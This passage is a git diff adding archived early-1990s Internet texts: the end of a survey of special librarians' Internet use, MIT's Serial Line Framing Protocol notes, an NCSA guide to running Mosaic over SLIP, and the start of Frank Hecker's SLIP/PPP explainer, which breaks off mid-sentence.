+are represented in our study. Although 93% of our +respondents are located in the United States, we also have +participants from Canada, Argentina and The Netherlands. + +EXPERIENCE, TRAINING AND COST + +Respondents' median experience level on the Internet (or +BITNET) is 24 months: 16 respondents have used these +networks for 12 months or less; 19 reported 13 to 36 months +experience; and an additional 19 have accessed the Internet +for more than three years. Respondents' use of Internet or +BITNET is heavier than their use of e-mail within their own +organization: 59% spend between two and five hours each +week in Internet-related activity, whereas only 33% spend +this amount of time on their internal e-mail systems (z = +2.81, p < .01). Seven respondents have never used electronic +mail within their parent organization. + +We asked survey respondents whether the library/department +or the parent organization paid for access to the Internet, +and how this compared to the expense for internal e-mail. +Most respondents had the cost of both internal and external +e-mail paid for by their parent organizations. Slightly +more libraries had to pay for access to internal e-mail from +their departmental budgets than for Internet access, but +this difference was not significant. Approximately 20% of +the respondents did not know who paid for either internal or +external e-mail. + +As might be expected, the longer someone has searched the +Internet, the more they were responsible for their own +instruction. We asked respondents to check as many of the +types of training they had received as applicable. 65% of +the respondents taught themselves. 59% learned informally +from a colleague. Formal training from a single one-hour +class to more structured learning was available to 39%. The +fact that none of them learned in library school could +easily be a function of when the respondents attended +library school, but we did not ask that question. Two other +categories were cited by several respondents: learning by +asking questions on the Internet itself and use of +documentation provided by the local computer center +operation. Descriptive responses showed some respondents +learning with a minimum of hand holding; these did not see +the need for instruction offered by their local computer +centers. + +In answer to our question of what training should be +provided for new users and who should provide the training, +respondents identified very specific knowledge that should +be imparted in the training. The need for coverage of both +theory and basic training techniques were frequently +mentioned. Training should cover both history and philosophy +of the Internet along with what it is, what's out there, and +how it works. Useful training sessions would include +training in FTP, telnet, mail, Netnews, addressing +algorithms, proper etiquette, security rules to safeguard +computers/data, how to connect to the Internet, how to keep +up with Internet developments and changing resources, how to +manage the flow of information, and how this differs from +the other (for pay) online services. A second area of +training addressed librarians' needs: how the Net can be +helpful to librarians, its potential for libraries, how to +identify information nodes to locate and access forums and +publishers of relevance to one's interests, how to make the +best use of increased connectivity to streamline library +procedures, and how to persuade important vendors to provide +e-mail access or EDI. + +While a few respondents questioned the need for any +instruction, most respondents assigned responsibility for +training to multiple bases: parent organizations (by both +libraries and computer centers), professional associations +and library schools. Instructional tools cited were print +documentation, video, and demo disks. There was a recurrent +theme of the need for easy-to-use packaged information. + + + +HOW THE INTERNET IS USED + +We organized responses to the open-ended question, "Briefly +describe your use of BITNET or the Internet," into six +umbrella categories: work-related communication and +electronic mail, computer conferences and electronic +journals, remote database searching, file transfer and data +exchange, research and publication, and personal +communication and leisure activities. Table 1 shows the +percent of use by category: + + Table 1 + + USE OF BITNET/INTERNET BY SPECIAL LIBRARIANS + + Use* Percent + ---------------------------------------------------- + + Work-related communication, e-mail 93% + + Electronic forums, BBS, listservs 61% + + Searching remote databases (telnet) 39% + + File transfer (FTP), data exchange 37% + + Research and publication 22% + + Personal communication, leisure activities 11% + --------------------------------------------------- + *Multiple responses possible; percents do not total + 100. + + +Except for file transfer activities, there are no +differences in use of these Internet functions by type of +library (academic vs. other types), subject emphasis (sci- +tech vs. other subjects), or experience level (length of +time on the Internet). + +Electronic mail and computer forums: + +The findings displayed in Table 1 are striking and +unequivocal: the principal use of the Internet by the +special librarians in our study is for electronic mail. The +most common reason our respondents use the Internet is to +communicate with colleagues and friends, and the value of +this activity was stressed over and over again. Many +respondents reported that access to the Internet reduces +geographical distance and feelings of isolation from +colleagues and instills a sense of collegiality and +connectedness with other library professionals. Others +mentioned the speed of communication -- saving time, +reducing telephone tag, eliminating phone calls. Other +reasons for use of e-mail on the Internet mentioned by +respondents include getting quick copyright permission, +providing and receiving electronic reference and technical +assistance, requesting and providing ILLs, requesting +library materials, missing issues, duplicate exchanges, +identifying document sources, submitting applications for +employment, and facilitating professional association +business and committee work. + +Special librarians are active participants in computer +discussion groups. They do not limit themselves to library- +related lists but monitor and join relevant sci-tech and +business discussions as well: our 54 respondents belong to +68 different computer discussion groups. Respondents +mentioned the following benefits: (1) a focussed forum for +topics of interest to a specific audience; (2) an excellent +and swift communications vehicle where questions can be +raised and answers provided to all the participants, rumors +can be defused, and reasons for actions can be explained +once and transmitted easily to the entire audience; and (3) +reduced telecommunication costs because it costs the same to +send a message to one person as to send it to a large group. + +Remote database searching: + +Thirty-nine percent of our respondents reported that they +access remote computer systems on the Internet. Of these, +80% mentioned that they search other library catalogs. They +search OPACs for a variety of traditional task-related +reasons: to check availability status or identify ownership +before requesting an interlibrary loan, for collection +development and acquisitions work, and for reference. +Others mentioned that they search remote catalogs +evaluatively, to test other search interfaces or to see what +other libraries are doing with their automated systems. + +Several respondents made reference to specific library +systems with expanded search capabilities beyond access to +the library's OPAC, such as the University of California's +MELVYL and the Colorado Alliance of Research Libraries CARL +system. Others mentioned that they use the Internet to +access non-library bibliographic services such as RLIN, +OCLC's EPIC, Medline, and Dialog. + +Substantially fewer special librarians search non- +bibliographic databases on the Internet compared to library +catalogs and other bibliographic systems. Astronomy +librarians are more involved in their use of the Internet +for non-bibliographic information than librarians in other +disciplines, which is no doubt due to the vital role that +the Internet plays in the astronomy research community. + +File transfer and data exchange: + +Thirty-seven percent of our respondents use the Internet to +transfer files, about the same proportion that log into +remote databases. Unlike electronic mail and remote +database searching, there are differences in the use of file +transfer utilities by network experience level: 50% of the +experienced users (defined as respondents who have used +BITNET or Internet for more than two years) send or retrieve +files over the Internet, compared to only 25% of their less +experienced colleagues (z = -1.96, p = .05). More sci-tech +librarians also use file transfer utilities than do special +librarians in other disciplines, but these differences are +not significant (z = 1.32). + +Like remote databases, respondents for the most part +consider file transfer functions secondary to their use of +electronic mail. They often discuss file transfer with +remote login, indicating that there may be a conceptual +blurring of these two Internet functions. Special +librarians on the Internet use FTP to obtain files resident +on remote systems; others request files through BITNET +listservs. For example, several reported that they download +computer-related information from remote servers, such as +the WAIS application from Thinking Machines, listserv- +specific reports such as PACS-L Review articles, computer +science technical reports, and shareware. Many retrieve +Internet guides such as the Barron and St. George +directories, Kovacs' directory of computer forums, and +Strangelove's directory of E-journals. Several retrieve +regulatory reports and government documents, technical +reports, or receive alert services from Dialog, SRI +documents, and newsletters. + +Special librarians also send files on the Internet backbone. +Examples include search results to remote users, +acquisitions lists, and Project Gutenberg files. Astronomy +librarians, again, are particularly active in file transfer +activities. + +Research and publication on the Internet: + +Twenty-two percent of our respondents described uses of the +Internet related to research and publication. Our +respondents use the Internet in two ways: as researchers +collaborating with colleagues at other institutions and +connecting with journal editors and book publishers, and as +editors of newsletters or journals who are themselves +responsible for communicating with contributors. Their +experiences demonstrate how the Internet enhances the +dissemination of information to members of the library +science community, by providing access to people through +electronic mail and access to electronic information through +file transfer and remote login. + +The value of communication: + +We asked study participants to describe, based on their own +experience, the "major advantage or opportunity" for special +librarians in using the Internet. All 50 respondents who +replied to this question mentioned some aspect of electronic +communication in their responses. In other words, these +special librarians who themselves are active Internet users +consider electronic mail to be the major reason why special +librarians should use the Internet, because it provides a +convenient, timely, nondisruptive, and inexpensive mechanism +for communication with their colleagues throughout the +world. + +Over and over respondents mentioned the same things: "Truly +breaks down the walls (physical, psychological, economic) to +communication," "Contact with other special librarians in +your area without having to travel...," "Ease of +communication when you want it," "...communication of ideas +and discussions will take place via e-mail that will never +see the light elsewhere...," "To communicate with colleagues +on topics of mutual interest," "...a way of sharing in +real-time, information & experience...," "The ability to +share information with colleagues throughout the world in a +timely fashion," "Instantaneous world-wide communication +with colleagues for information-gathering and idea-sharing," +"...forming a greater library community based on interest +rather than on geography...," "...forging new and unique +work relationships with colleagues ... geographically close +or far...," "...rapid communication with colleagues who can +provide a wealth of experience...," "The ability to +communicate with others in similar situations...," "To +interact all over US and world -- time differences are +eliminated and your colleague is always 'home'," +"...communication and sharing with colleagues on both +specific problems/questions and general issues...." + + + +IMPLICATIONS OF OUR FINDINGS + +The use of the Internet for communication by the special +librarians in our study parallels what happened with early +users of ARPANET. ARPANET was established by the Department +of Defense as a way for computer scientists and other +researchers with defense contracts to share expensive +resources. Electronic mail was added as an afterthought, +and was considered by some of the DOD systems people to be +unnecessary -- peripheral to the research functions for +which the network was designed. Contrary to expectations, +however, electronic mail became the most popular feature of +the network because it provided a way for researchers to +talk to each other -- to exchange ideas and discuss +problems. Like the computer scientists and other early +users of ARPANET, the librarians in our study also use the +Internet to talk to each other and to their patrons -- +fielding inquiries, finding answers, identifying resources, +solving problems, i.e., they use the Internet primarily for +communicating, not for building or even accessing +collections. + +In one respect, librarians who use the Internet are no +different from any other user group -- they use it to +communicate with each other as well as to obtain "hard data" +(i.e., tap into resources). But librarians can do something +else as well as a result of their training and knowledge of +information processes and information organization -- they +can go beyond using the Internet as a resource and use their +skills to help make it less chaotic. + +To understand why the electronic mail function is so +important, it may help to conceptualize the Internet as a +giant parallel processing computer. People use the Internet +to communicate -- to talk to each other, pose questions and +provide answers. Information between and among people flows +in parallel, in real time. But this is not the only use: +there is something else going on here, in that resources are +available too, also in parallel. Published articles about +the Internet emphasize these resources (library catalogs, +remote databases full of esoteric data) and the physical +strands (optical fibers and satellites) that tie it all +together. These strands, however, are not just the physical +connections -- these strands are also the human connections, +the communications between individuals and among groups of +people. People are still the most efficient parallel +processing information filters there are. + +The important thing is that you don't have to talk to one +person at a time. People place requests for information +across a universe of potential responders, instead of +dealing with one responder at a time. As in computer +processing, this is a vastly more efficient way of +processing information. Potential responders screen the +requests for information to see if they are applicable to +their interests or their abilities to respond. Thus people +who normally would not be considered in the loop to solve a +particular problem find themselves in the position of +providing valuable information to each other. The emerging +global community created by these systems is more democratic +and less hierarchical than conventional systems. + +The people who communicate on the Internet provide meaning +and understanding -- they create a synergy that's not +possible with human-machine linkages alone. It's the human- +human linkages that are important because this technology- +enhanced interaction is what will have the biggest impact +on our organizations of the future. Because it's people +that ask questions and people that answer questions and +people that discuss issues -- and it's people that develop +files ready to be retrieved from central depositories, and +not just central depositories, but locations that can exist +anywhere -- it doesn't matter if the data you need is +located centrally in the bowels of the National Library of +Medicine or exists on the VAX in Podunk U -- the +interconnectedness of the Internet makes location +irrelevant. In the same way, it doesn't matter if you are a +special librarian located in a university on the mainland +and need to talk to an astronomer on a mountaintop in Oahu +-- you can do this practically instantaneously via the +Internet. Further, it doesn't matter if that astronomer is +in the middle of complicated calculations or on a conference +call to The Netherlands, she will get your message at her +convenience, without her thought processes being +interrupted. + +Electronic mail on the Internet provides a mechanism for +community. To create AI navigators, online directories, and +other electronic guides to the network without human +interaction removes community from scholarship. The +"scholar's workstation" has been proposed as the ideal +toward which we should strive. But perhaps we ought to +rethink this "ideal": in an isolated, machine-based network +of information sources, do we run the risk that knowledge +will be created in isolation? Will scholars toil at their +computer workstations, tapping into vast and varied +databases of information, guided by artificial intelligence +front-end gateways to the next bit (or byte) of data, +thereby eliminating communication with others in their +intellectual pursuit? + +The participants in our study tell us something that we may +have forgotten in our infatuation with the new forms of +information made available through the Internet. And that +is their need for community. To be sure, our respondents +use the Internet to obtain information not available in any +other format, to access databases and OPACs that provide new +efficiencies in their work, new ways of working. But their +primary use is for communication. Special librarians tend +to be isolated in the workplace -- the only one in their +subject specialty (in the case of academe), or the only +librarian in their organization (in the case of a corporate +library). Time and time again our respondents expressed +this need to talk to someone -- to learn what is going on in +their profession, to bounce ideas off others, to obtain +information from people, not machines. + +There are tremendous implications from the Internet +technology in community formation -- the Internet may indeed +provide a way to increase community among scholars, +including librarians. The danger we face at this juncture +in time, as we attach library resources to the Internet, is +to focus all of our energies on the machine-based resources +at the expense of our human-based resources, i.e., +ourselves. Do we really want solely to create an +objective, distant, remote, value-free "knowbot" to direct +users to library-resident, machine-readable resources +residing on the Internet? We see the need at the same time +to create a human interface -- a community of knowledge +navigators serving to connect people who can interact in +their pursuit of truth. + +==== 13 links in glossary topic diff --git a/textfiles.com/internet/slfp.faq b/textfiles.com/internet/slfp.faq new file mode 100644 index 00000000..a36625a4 --- /dev/null +++ b/textfiles.com/internet/slfp.faq @@ -0,0 +1,152 @@ +1 MNET:MIT.SLFP Last updated: 10 November 1987 + + This file contains technical documentation of the MIT Serial Line + Framing Protocol, as implemented in the Merit Computer Network. + It was retyped from the original information from MIT on 11/10/87. + + Appendix I: Serial line Framing Protocol + + (This description is from a very old file written when we + were first implementing the protocol. Details are still + accurate, though.) + + This is preliminary documentation on the serial line + protocol used between the IBM PCs and the PC Gateway. The + protocol has two levels: the low-level protocol (LLP) and the + local net protocol. The low level protocol wraps a packet and + delivers it to the PC Gateway. The local net protocol tells the + PC Gateway what kind of packet it is. Currently there two types + of packets: Internet and Address Request. When the PC Gateway + receives an Internet packet, its action is to forward the + internet packet to a process which checks the packet for + validity and then sends it to the net. On receipt of an Address + Request packet, the PC Gateway sends an Address Request packet + back to the PC with four bytes of data (the PC's internet + address) in the body of the packet. + + Neither the LLP nor the local net protocol provide for + prioritized transmissions, checksums or complex line control. + They are merely a simple way to get packets to and from + machines. + + The local net protocol consists of a four byte leader. For + an internet packet, this leader is: 2,1,0.0. For an Address + Request, the leader is 2,3,0.0. There is no data in the Address + Request packet sent from the PC; it is only the four byte local + net header wrapped in the serial line protocol. + + The receipt of any packet with a local net header that does + not identify the packet as either internet or address request is + an error and the receipt of such a packet should be logged and + the packet discarded. + + LLP consists of four bytes with special meanings when + received over the serial line. These are: ESC, REQ, ACK, and + END. + + A packet is enclosed in a REQ and an END. When a PC wishes + to send a packet it first sends a REQ to the PC Gateway. It + then waits a suitable length of time to receive an ACK from the + PC Gateway. If no ACK byte is received, the PC Gateway is + assumed to be unable to handle the packet right now and a + timeout is said to have occurred. The PC may either retry, wait + or return an error. + + After the PC receives the ACK signal, it may begin sending + the packet. The first four bytes of the packet should be the + local net header and an error will occur if they are not valid. + When the PC has completed sending the packet, it should send an + END byte to the Gateway. The PC gateway will then consider the + packet and act upon it. +1 2 + + + The PC Gateway goes through a similar process when it sends + a packet to a PC; only the roles are reversed. It is an error + for the PC Gateway to send a PC its address if the PC has not + requested its address from the Gateway. + + If a machine should receive a REQ embedded in a packet, + this indicates that the END signal was dropped somewhere. The + receiving machine should drop the packet it was receiving and + begin to receive a new one. ACKs may be mixed inside packets to + allow immediate response to REQs. The receipt of an ACK by a + machine should be duly logged (and perhaps appropriately ignored + if the PC doesn't have an outstanding request). + + The final code, ESC, is used to allow the characters whose + codes are used by ESC, REQ, ACK and END to appear in packets. + Receiving an ESC indicates that the next byte should be looked + at to produce the correct character. Here is a table of the + codes for the signals and the ESC sequences to produce the data + whose codes they use. + + ESC 242 ESC 0 + REQ 243 ESC 1 + ACK 244 ESC 2 + END 245 ESC 3 + + A simple way to unstuff the bytes is to add the character + following an ESC to the ESC to get the correct code and then put + it in the packet as data. It is an error to have any character + >3 follow an ESC. + + If a machine receives any character other than a REQ or an + ACK when it is not in the process of receiving a packet, it + should discard that character. + + Low-level protocol specification: IBM to Gateway, Gateway + to IBM. + + The following ASCII codes are used as flags in the manner + specified: + + 242 - Prefix code for sending data codes which are set + aside for protocol use. + 243 - Request to send (REQ). + 244 - Acknowledge (ACK). + 245 - End of packet (END). + + A typical data transfer occurs as follows: + + + IBM wants to send packet to Gateway: It sends REQ and waits for ACK. + Gateway is ready to receive packet: It sends ACK + IBM sends packet to Gateway followed by END. + The packet itself is encoded so that REQ, ACK, and END never + appear in the text. This is done by performing the following + substitutions: +1 3 + + + 242 --> 242 0 + 243 --> 242 1 + 244 --> 242 2 + 245 --> 242 3 + + Note that transfers can occur in both directions + simultaneously. However the ACK signal may be embedded within a + data packet and must be explicitly removed: + + IBM wants to send packet to Gateway: It sends REQ and waits for ACK. + Gateway is ready to receive packet: It sends ACK. + IBM starts sending packet. + Gateway wants to send packet to IBM: It sends REQ and waits for ACK. + IBM is ready to receive packet: It sends ACK. + IBM continues sending its packet, while Gateway sends a packet to + IBM. + + Timeouts may occur if the wait between a REQ and an ACK is + too long or no packet characters are transmitted for too long a + time. In both cases no recovery action is undertaken: the other + system is assumed to have crashed. + + Receipt of protocol codes within a data packet has the + following consequences: + + REQ - End portion of data packet being sent has been lost. + ACK - Should be removed from input packet and its presence + logged for use by the process which is sending + characters. + END - Packet has been completely sent. + diff --git a/textfiles.com/internet/slip_win.faq b/textfiles.com/internet/slip_win.faq new file mode 100644 index 00000000..0c1db300 --- /dev/null +++ b/textfiles.com/internet/slip_win.faq @@ -0,0 +1,106 @@ +Mosaic via. SLIP + + Mosaic will run over a SLIP or PPP connection. The most difficult +aspect is establishing the SLIP/PPP connection. Below is a brief description +for establishing a SLIP connection using a Shareware product called +Trumpet Software International Winsock version 1.0. This particular product +has an internal SLIP driver and an internal modem dialer. If you would +like to obtain a copy of this product you can find it at the anonymous +ftp site ftp.utas.edu.au. The file, twsk10a.zip, is located in the +/pc/trumpet/winsock directory. For the convenience of our users we +also keep a copy of this Shareware product on our anonymous ftp server, +ftp.ncsa.uiuc.edu. The file, winsock.zip, is in the /PC/Mosaic/sockets +directory. + After you have installed the Trumpet Winsock according to it's +instructions, envoke tcpman.exe and select "Setup". Trumpet will +need the following information about the SLIP server you are connecting to. +Get this information from the company that is providing the SLIP service. + + IP address 0.0.0.0 + Name server 0.0.0.0 + Time sever 0.0.0.0 + Domain Suffix the.name.of.your.domain + ie. "ncsa.uiuc.edu" is our domain. + +Check "Internal SLIP" and enter in the port number and baud rate of your +modem. Save the information, click OK, and exit the program. Now, your +system should be configured properly. Next, envoke Trumpet again and use +the internal dialer option to place the call. Select the "Dialler" pull +down menu. You will probably take notice there a few options available, +however I will only discuss "Manual login" command. If you are interested +in creating a script then please refer to the Trumpet documentation. Once +you have selected Manual login you will need to enter the following command +in the Trumpet window. + + atdt xxx-xxxx (where the x's represent the phone number). + +NOTE: There are two ways to gain access to the Internet via SLIP: + +1) If you have a static slip account, that is, you were assigned an IP number +that doesn't change. + - login to the server. + - Enter the command "slip". + - Hit the escape key. + - Double click on the Mosaic icon. + +2) If you log into a server that assigns you a random IP number. + - login to the server. + - Enter the command "slip". + - Select the "Setup" pull down menu. + - Enter this IP in the appropriate field. + Note: After you enter the new IP number you will get a message that + states you will have to close the application in order for this number + to take affect. + - Hit the escape key. + - Close Trumpet. + Note: This action will not cause you to loose your connection. + - Double click on the Mosaic icon. +----------------------------------------------------------------- + +Here is a list of some of the companies that can provide nationwide +SLIP and PPP access to the Internet. These companies are listed in +alphabetical order and we do NOT endorse any particular provider. + +Colorado Supernet (info@csn.org) +Colorado School of Mines +1500 Illinois Street +Golden, CO 80401 +(800)748-0800 + +DATABANK, Inc (info@databank.com) SLIP/PPP 1-800 Service +1473 Hwy 40 +Lawrence, KS 66044 +Voice 913-842-6699 +FAX 913-842-8518 + +Institute for Global Communications (support@igc.apc.org) +PeaceNet/EcoNet/ConflictNet/LaborNet ** International Provider ** +18 deBoom St. +San Francisco, CA 94107 +tel: +1-415-442-0220 +fax: +1-415-546-1794 + +JVNCnet (market@jvnc.net) ** SLIP only ** +Global Enterprise Services +3 Independence Way +Princeton, NJ 08540 +(609)897-7300 + +NetCom On-Line Communication Services (info@netcom.com) +4000 Moorpark Avenue +Suite 209 +San Jose, CA 95117 +(408)554-8649 + +Performance Systems International (info@psi.com) +11800 Sunrise Valley Drive ** International Provider ** +Suite 1100 +Reston, VA 22019 +(703)620-6651 + +UUNET (info@uunet.uu.net) ** International Provider ** +3110 Fairview Park DR +Suite 570 +Falls Church, VA 22042 +(703)204-8000 + diff --git a/textfiles.com/internet/slipdoc.txt b/textfiles.com/internet/slipdoc.txt new file mode 100644 index 00000000..160bc5dd --- /dev/null +++ b/textfiles.com/internet/slipdoc.txt @@ -0,0 +1,1450 @@ + + + Personal Internet Access Using SLIP or PPP: + How You Use It, How It Works + + Frank Hecker + hecker@access.digex.net + + June 30, 1994 + + +Copyright 1994 by Frank Hecker. You may redistribute this document freely +in any form provided only that you retain this copyright notice. + +This document is available online at the following URL: + + file://ftp.digex.net/pub/access/hecker/internet/slip-ppp.txt + +(See the last section if you don't know what a URL is and need more +information on how to retrieve this document.) + + +Introduction + +As the Internet has been popularized in newspapers, magazines, and books, +many people are joining (or trying to join) the community of Internet +users online. Some subscribe to commercial services like CompuServe and +America Online that are adding some Internet-related features to their +existing services. Others purchase accounts on commercial services which +provide Internet access as their main offering, or are getting accounts +on "Free-Nets" and other community network systems which offer Internet +access as an adjunct to community information. + +Finally, there is a small but rapidly growing number of people who are +experiencing the joys of connecting to the Internet directly from their +PCs or Macintoshes, without having to login to larger systems and put up +with the hassle of UNIX commands or restrictive menus. In this paper I +discuss this highest level of personal Internet access, both how you use +it and how it works. I assume that you have some understanding of the +Internet and the services it supports (e.g., Telnet, FTP, and electronic +mail), but that you know very little about TCP/IP, SLIP, PPP, and other +obscure acronyms. + +My goal is _not_ to give you complete step-by-step directions on how you +can configure your PC or Mac for connection to the Internet, but rather +to provide a conceptual overview of personal Internet access without +getting into too many technical details. My hope is that after you +finish reading this paper you will have a good idea of how personal +Internet access works, how SLIP and PPP are used in real life, and +whether it makes sense for you to use them. With that end in mind I +conclude the paper with some advice on where to go next for more +information. + +This document was originally written for the Washington, D.C., area +community network CapAccess (the informal name for, and a service mark +of, the National Capital Area Public Access Network, Inc.); it grew out +of some thinking I did about the long-term directions for community +networks and what part low-cost personal Internet access might play in +their evolution. At the time I could not find any non-technical +high-level explanation of the concepts behind SLIP and PPP Internet +connections; to paraphrase Muriel Rukeyser, I wrote this paper in part +because I needed to read it. + +I'd like to thank the other members of the CapAccess organization for +their comments on early versions of this paper; however the views I +express herein are mine alone and do not necessarily reflect the official +position of CapAccess. + + +Me, My Computer, and the Internet + +When I first became an Internet user, I used a so-called "shell account" +service provided by a local D.C.-area Internet access provider, the +Digital Express Group, Inc. (It's called a shell account because you +login to a central UNIX host and type UNIX commands into the UNIX command +interpreter or "shell.") + +I used this service much as you might use a BBS, a "Free-Net," or other +UNIX-based community network systems like CapAccess (albeit with a few +more functions): I would use my Macintosh and its modem to login to the +central UNIX host (a Sun system), read and compose electronic mail using +Pine (a UNIX email program), read and post Usenet news articles using a +UNIX-based newsreader, retrieve files using FTP and then download them +using Zmodem, and so on. For software I used the shareware +communications program Zterm, a copy of which came with the Global +Village 14.4 kbps modem I have. (For those of you who have PCs, Zterm is +a typical character-based communications program with VT100 terminal +emulation and Zmodem download capabilities, comparable to Procomm or +CrossTalk.) + +Recently I upgraded my service to a so-called "SLIP account." SLIP or +Serial Line Internet Protocol is a communications protocol that supports +an Internet connection (i.e., using TCP/IP) over a dial-up line. PPP or +Point-to-Point Protocol is a newer protocol that does essentially the +same thing; however it's better designed and more acceptable to the sort +of people who like to standardize protocol specifications. For the rest +of us it's six of one and a half dozen of the other for the most part, +and I'll often use the term "SLIP/PPP" to refer to them interchangeably. +(Although, as I note below, PPP is likely to become better supported and +more popular in the future.) + +Not only was setting SLIP service up much simpler than I anticipated, it +also gave me a whole new perspective on how individuals will likely use +the Internet in the future. I'll get to the technical details later, but +I'd like to start by describing a typical communications session: + +I start with my Mac booted and its modem connected to a phone line. First, +I invoke the SLIP application. (In Mac terms this "application" actually +consists of an extension plus a control panel; for those more familar +with DOS, it is roughly comparable to a TSR or "Terminate and Stay +Resident" utility). The SLIP software asks me for my SLIP password +(which goes with my SLIP userid--more on this below), and then uses a +script to dial the SLIP access number at my Internet access provider. My +modem dials out, their modem answers, and then the script takes over for +a few seconds until the SLIP connection is established. I then forget +about the SLIP application, and often close it just to get it out of the +way. (Part of it is still running "underneath," however.) + +At this point I have a live connection between my Mac and the Internet. +The next thing I typically do is start up the Eudora mail program, and +then ask it to check for and retrieve my electronic mail. Eudora asks +for my mail account password (which goes with my mail account userid). +Note that these are a different userid and password than my SLIP userid +and password; I discuss this in more detail below. Eudora then goes out +and downloads my mail from my mailbox on the Internet access provider's +mail server. This can take from a few seconds to a few minutes, +depending on how much mail I've received and how big the messages are. +When downloading completes I have all my new mail messages in an inbox on +the Mac. + +I can then either read my mail or do something else. Usually I read at +least a few messages that look important, and perhaps respond to a couple +of them. When I respond my messages get put in an outbox for later +delivery; they aren't sent right away. + +Suppose one of the messages is about something on another Internet- +connected system, such as the CapAccess community network system. I then +invoke the NCSA Telnet application and connect to CapAccess +("cap.gwu.edu") to check things out. This brings up a VT100-like screen +similar to what you'd get dialing in directly, with a prompt for the +login id. I give my CapAccess userid and password, and then I'm logged +in as usual and can do all the standard CapAccess operations. Note that +this Telnet connection isn't going through either the Internet access +provider's UNIX host system or the CapAccess phone lines and modems; it's +going over the Internet from my Mac to the CapAccess Sun system (with +some hops along the way through IP routers, "black boxes" which pass the +traffic through the various networks and subnetworks that make up the +Internet). + +Suppose that something I read in a CapAccess forum refers to an +information file that you can FTP from someplace. Then, _without closing +the Telnet session_, I can bring up the Fetch application, which is an +implementation of FTP for the Mac. Fetch allows me to start a session to +a public or "anonymous" FTP site, browse through the directories, and +download files using FTP directly to my Mac; download speeds for text and +binary files are comparable to those achievable using traditional +communications programs and protocols like Zmodem. (They are not always +quite as fast, for various reasons too complicated to go into in this +paper, but they are fast enough for me.) + +After finishing the FTP session I can go back to my Telnet session and +continue. TCP/IP and SLIP (or PPP) can "multiplex" several connections; +that is, several connections can be open at once and can be sending and +receiving data, with TCP/IP and SLIP/PPP sorting it all out and +transmitting and receiving that data over the single dialup connection to +the Internet acces provider's SLIP/PPP access point. + +If the Mac had true "preemptive" multitasking (like OS/2 or Windows NT, +for example), I could actually have different downloads going on +simultaneously while I ran other Internet applications. As it is though, +doing an FTP transfer on my Mac will pretty much kill performance on a +Telnet session; however it works fine to keep multiple applications open +for use but otherwise idle, and I can then switch between them as +desired. + +If I'm really done with my Telnet session, I'll log out of the remote +system and close the link. I might then bring up NewsWatcher, a Usenet +news reader for the Mac. NewsWatcher connects to the Internet access +provider's Usenet news servers and then presents me with a list of my +currently subscribed newsgroups, together with an indication of how many +postings are available in each group. I double-click on a newsgroup I'm +interested in checking, and Newswatcher downloads the list of current +postings in the group, by subject. (It knows about "message threads," so +if multiple postings have the same subject it only shows me one line in +the listing of articles.) + +I then double-click on the line corresponding to a posting (or thread) I +want to read, and Newswatcher downloads the text of that posting and puts +it on the screen in a window. More double-clicking lets me advance +through the newsgroup article by article, marking articles as having been +read as I download and read them. I can also compose and post followup +articles or new articles, which are uploaded to the Usenet news server +immediately. + +If I don't read all articles in a newsgroup or get through all newsgroups, +I can look at them later when I next use NewsWatcher. I can also mark +articles as having been read without downloading them, in case the +subject line indicates that I would likely have no interest in them. + +Thus far in this example I've discussed electronic mail (Eudora), Telnet +(NCSA Telnet), FTP (Fetch), and Usenet News (NewsWatcher). I also have +TurboGopher, a Macintosh version of a Gopher client. TurboGopher allows +me to get exactly the same information accessible via a so-called "VT100" +Gopher client (as found on many Internet hosts), but with the following +advantages: it gives me a point and click graphical interface; files can +be saved directly to my Mac (as opposed to saving them in a host UNIX +directory and then downloading them); and it doesn't require me to login +to a UNIX host first. + +Finally, I have the much-heralded NCSA Mosaic (the Macintosh version, of +course), and can explore the World Wide Web with full access to +multimedia information including formatted text, graphics, sound, etc. I +must confess that using Mosaic over a 14.4 kbps dialup line is not nearly +as exciting as the hype would suggest. Mosaic typically takes a minute +or more just to bring up a single page of information, because of all the +embedded graphics included in most WWW data. (You can tell Mosaic not to +download the graphics images, but then what's the point?) I've accessed +sound clips once or twice; it takes about five minutes of downloading +just to hear my Mac talk to me for a few seconds. Overall, using Mosaic +over a 14.4Kbps connection can be as frustrating as trying to eat ice +cream through a straw; but it's still fun to play with, and there are +many new information sources that can be accessed only through the World +Wide Web and a WWW client program like Mosaic. + +While all this is happening TCP/IP and SLIP are still running quietly +underneath it all over the dialup link. After a while I figure it's time +to save my pennies and cut the connection. (I get four "free" hours per +day--i.e., included in my basic monthly rate--but these can go fast, +especially as I connect at least two or three times a day. My provider +charges $1 per hour for each additional hour.) I remember I still have +electronic mail messages in my Eudora outbox, so I go into Eudora and +tell it to send all outgoing mail. It uploads the messages to my +Internet access provider's mail server, which then will take care of +sending them on to their final destination. + +Having finished all my online stuff, I go back to the SLIP application and +tell it to disconnect. At that point I lose all the fancy functionality +like Mosaic, FTP, etc. However I can still read my electronic mail in +Eudora, compose replies, and queue them for delivery the next time I +connect. + +In summary: + +* I have dialup Internet access using a special dialup number and a userid +and password associated with that access. + +* I can run a wide variety of applications over the dialup link to +implement traditional Internet services such as electronic mail, FTP, +Telnet, and Usenet news, as well as newer services like Gopher and +Mosaic/WWW. + +* Using some Internet services (e.g., electronic mail) requires that I +have additional userids and passwords assigned to me by my Internet +access provider. Others do not; that is, they are either inherently +anonymous in nature (e.g., anonymous FTP, Gopher, Mosaic/WWW) or involve +separate arrangements with other organizations (e.g., Telnet to a remote +Internet host like CapAccess). + +* Most of these services can only be used while the dial-up Internet +connection is active. However with others (really only electronic mail, +for now) you can do at least some things off-line. (There's no reason in +theory why some of the Usenet news reading process couldn't be done +offline; however the current version of the NewsWatcher application does +not implement this.) + + +How It All Works + +Having told you how I access the Internet from my Mac, I'd like to now go +into more detail about what's going on behind the scenes. My apologies +for the level of technical detail; I'll try and keep it to the minimum +necessary to make my points. (Although I can't resist running with a +good extended analogy, as you'll see.) + +Let's start with what "being on the Internet" really means. For your PC +or Macintosh to be "on the Internet" in the sense that I'm using the +term, the following three things must be true: + +* Your PC or Mac has software which can send and receive data using the +TCP/IP family of communications protocols. + +* Your PC or Mac has some sort of communications link to an Internet +access point from which data it sends can go out over the Internet to +other systems, and by which data sent from other systems on the Internet +can be sent to your PC or Mac. + +* When connected in this way, your PC or Mac has an identifying number +(called an "IP address") which other systems use in sending data to your +PC or Mac, and by which your PC or Mac identifies itself when sending +data to other systems. + +For those who really want to know, "TCP/IP" stands for Transport Control +Protocol/Internet Protocol (which are really two separate protocols that +work together), and is a shorthand name for a specific way of packaging +up data for sending it over a comunications link. TCP/IP is analogous in +many ways to protocols like Kermit or Zmodem which package up data for 